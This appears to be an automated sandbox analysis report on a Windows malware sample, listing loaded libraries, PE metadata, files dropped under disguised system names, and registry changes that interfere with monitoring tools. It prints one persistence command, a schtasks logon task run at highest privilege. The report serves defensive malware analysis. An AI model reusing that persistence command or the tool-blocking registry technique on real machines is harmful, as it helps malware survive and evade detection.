Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Section loaded: perfos.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\Pictures_Old\AppData_Old\SppExtComObj.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\Public\Pictures_Old\AppData_Old\SppExtComObj.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\Public\Pictures_Old\AppData_Old\SppExtComObj.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\Public\Pictures_Old\AppData_Old\SppExtComObj.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\Public\Pictures_Old\AppData_Old\SppExtComObj.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\Public\Pictures_Old\AppData_Old\SppExtComObj.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Users\Public\Pictures_Old\AppData_Old\SppExtComObj.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\Public\Pictures_Old\AppData_Old\SppExtComObj.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\Public\Pictures_Old\AppData_Old\SppExtComObj.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\Public\Pictures_Old\AppData_Old\SppExtComObj.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\Public\Pictures_Old\AppData_Old\SppExtComObj.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\Public\Pictures_Old\AppData_Old\SppExtComObj.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\Public\Pictures_Old\AppData_Old\SppExtComObj.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Section loaded: perfos.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll

Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe

Static file information: File size 30441984 > 1048576

Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe

Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x1cad000

Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: sunshine_clipper.pdb source: SgrmBroker.exe, 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmp, SgrmBroker.exe, 00000018.00000000.2352610812.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: gametoolset.pdb source: SppExtComObj.exe, 00000017.00000000.2292286211.00007FF68609E000.00000002.00000001.01000000.00000008.sdmp, SppExtComObj.exe, 00000017.00000002.2572042733.00007FF68609E000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: sunshine_clipper.pdbHG source: SgrmBroker.exe, 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmp, SgrmBroker.exe, 00000018.00000000.2352610812.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmp

Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Static PE information: section name: .voltbl
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Static PE information: section name: _RDATA
Source: SppExtComObj.exe.5.dr	Static PE information: section name: .voltbl
Source: SppExtComObj.exe.5.dr	Static PE information: section name: _RDATA

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FF848E7D2A5 pushad ; iretd	12_2_00007FF848E7D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FF848F9380D pushad ; iretd	12_2_00007FF848F93811
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FF848F9846B push ebx; ret	12_2_00007FF848F9856A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FF848F9248D push E95B6C93h; ret	12_2_00007FF848F92539
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FF848F900BD pushad ; iretd	12_2_00007FF848F900C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FF848F924ED push E95B6C93h; ret	12_2_00007FF848F92539

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe

File created: C:\Users\Public\Pictures_Old\AppData_Old\SppExtComObj.exe

Jump to dropped file

Boot Survival

Creates an undocumented autostart registry key

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tcpview.exe MinimumStackCommitInBytes	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tcpview.exe MinimumStackCommitInBytes	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tcpview64.exe MinimumStackCommitInBytes	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tcpview64.exe MinimumStackCommitInBytes	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\autorunsc.exe MinimumStackCommitInBytes	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\autorunsc.exe MinimumStackCommitInBytes	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MediaCreationTool22H2.exe MinimumStackCommitInBytes	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MediaCreationTool22H2.exe MinimumStackCommitInBytes	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vssadmin.exe MinimumStackCommitInBytes	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vssadmin.exe MinimumStackCommitInBytes	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dism.exe MinimumStackCommitInBytes	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dism.exe MinimumStackCommitInBytes	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mstsc.exe MinimumStackCommitInBytes	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mstsc.exe MinimumStackCommitInBytes	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GlassWire.exe MinimumStackCommitInBytes	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GlassWire.exe MinimumStackCommitInBytes	Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /Create /TR C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe /SC ONLOGON /TN TMPSYSUPD /F /RL highest

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tcpview.exe MinimumStackCommitInBytes	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tcpview64.exe MinimumStackCommitInBytes	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\autorunsc.exe MinimumStackCommitInBytes	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MediaCreationTool22H2.exe MinimumStackCommitInBytes	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vssadmin.exe MinimumStackCommitInBytes	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dism.exe MinimumStackCommitInBytes	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mstsc.exe MinimumStackCommitInBytes	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GlassWire.exe MinimumStackCommitInBytes	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
